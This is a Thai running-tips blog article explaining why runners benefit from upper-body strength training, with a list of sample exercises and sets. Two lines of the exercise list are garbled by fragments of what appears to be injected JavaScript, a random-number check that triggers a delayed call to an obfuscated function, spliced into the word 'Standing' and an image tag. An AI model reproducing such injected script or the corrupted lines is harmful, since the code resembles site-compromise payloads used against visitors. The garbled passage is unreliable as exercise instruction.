• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

3 เหตุผลที่นักวิ่งควรฝึก Upper body training

kan by kan
8 January 2019
in Running Tips
0
STEP EXTRA upper
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

แน่นอนว่าการฝึกกล้ามเนื้อช่วงล่าง อย่าง เอว เข่าและข้อเท้าจะช่วยให้กล้ามเนื้อขาที่ใช้วิ่งของนักวิ่งมีความแข็งแรง มีความอึดถึกทนมากขึ้น (Endurance) สามารถรับจำนวนกิโลเมตรที่วิ่งเพิ่มขึ้นได้ (Mileage) มีพลังในการผลักดันไปได้เร็วและแรง (Power) แล้วดังนั้นเราควรโฟกัสการฝึกไปที่กล้ามเนื้อช่วงล่างไม่ดีกว่าหรือ….?

ถ้านักวิ่งคิดว่าการฝึกกล้ามเนื้อช่วงบน อย่าง หน้าอก หลังไหล่และแขน (Upper Body) ไม่สำคัญ นั้นคือนักวิ่งจะพลาดโอกาสสำคัญในการพัฒนา Performance

3 เหตุผลที่นักวิ่งควรฝึก Upper body training

สาเหตุที่เราควรฝึกกล้ามเนื้อส่วน Upper body นั้นได้แก่…

1. ปรับให้ Posture การวิ่งดีขึ้น

ในโลกเราไม่มีนักวิ่งคนไหนในโลกที่มีฟอร์มการวิ่งที่เหมือนกัน แต่การมี Upper body ที่ดีจะช่วยให้วิ่งได้ยาวนานมากขึ้นดีต่อการแข่งขันระยะทางไกล กล้ามเนื้อ Upper body ที่แข็งแรงจะช่วยดึงให้อกผายไหล่ผึ่ง ดึงลำตัวให้ตรงเป็นแกนกลางที่มั่นคง เพราะยิ่งมี Posture ที่ดีจะทำให้การวิ่งดียิ่งขึ้น (Performance) เราจะดึงประสิทธิภาพในการวิ่งได้มากที่สุดเมื่อเรามีฟอร์มการวิ่งที่ดี การฝึกบริหารกล้ามเนื้อจะทำให้เรามีความต่อเนื่องในการรักษาฟอร์ม สามารถรักษาการจัดระเบียบร่างกายได้ดี

2. สวิงแขนได้ดีขึ้น

ถามว่าแกว่งแขนเกี่ยวอะไรกับการวิ่ง การแกว่งแขนจะสัมพันธ์กับจังหวะการวิ่งหรือจังหวะการสับขา ยิ่งมีเร็ว จะสังเกตได้ว่าแขนจะแกว่งเร็วตามไปด้วย แต่สำหรับการวิ่งระยะไกล เราคงไม่อยากแกว่งแขนมากเพราะมันจะเปลืองพลังงาน

การแกว่งแขนได้ดีนั้นคือต้องมีกล้ามเนื้อไหล่และแขนที่แข็งแรง ซึ่งจะทำให้เราสามารถรักษาจังหวะการวิ่งได้นิ่งและมั่นคง ถ้ากล้ามเนื้อแขนไหล่ไม่แข็งแรง เราจะสูญเสียฟอร์มการวิ่งและจังหวะการวิ่ง

 3. เพิ่มพื้นที่เก็บไกลโคเจน                   

อย่างที่ทราบกันดี ไกลโคเจนเป็นแหล่งพลังงานที่เก็บสะสมไว้ที่กล้ามเนื้อและตับ เมื่อไกลโคเจนหมด ร่างกายก็เหมือนหมดน้ำมัน ไม่ต่อไม่รอด เพื่อสร้างแหล่งพลังงานสะสมให้มีมากขึ้น มีถังจุน้ำมันใหญ่ขึ้น การฝึกกล้ามเนื้อให้มีขนาดใหญ่ขึ้นจึงเป็นสิ่งที่จำเป็น

ตัวอย่างการฝึกเพิ่มกล้าเนื้อช่วงบนได้แก่

วิดพื้น (Pushups) ทำ 8-10 ครั้ง จำนวน 4 เซต  

Inverted rows ทำ 10-12 ครั้ง จำนวน 4 เซต

Dumbbell bench press ทำ 8–10 ครั้ง 3 เซต

1-Arm dumbbell rows ทำข้างละ 10–12  ครั้ง 3 เซต

Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding triceps pushdowns ทำ 15–20 ครั้ง 3 เซต

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding-Tricep-Pushdown_resize.gif” alt=””/>

Dumbbell hammer curls ทำ 12–15 ครั้ง 3 เซต

สังเกตนะครับว่า…เพื่อสร้างกล้ามเนื้อช่วงบนลำตัวให้เป็นแหล่งพลังงานเพื่อเติมให้ร่างกาย เราจะโฟกัสฝึกมัดกล้ามเนื้อ อันได้แก่ กล้ามเนื้ออก แผ่นหลัง ไหล่และแขน ทั้งนี้นอกจากการฝึกบริหารกล้ามเนื้อแล้วก็อย่าลืมรับประทานแป้งและโปรตีนด้วย เพื่อให้มีสารอาหารไปซ่อมแซมและเสริมสร้างกล้ามเนื้อและพลังงานด้วย

อ้างอิง blog.mapmyrun.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.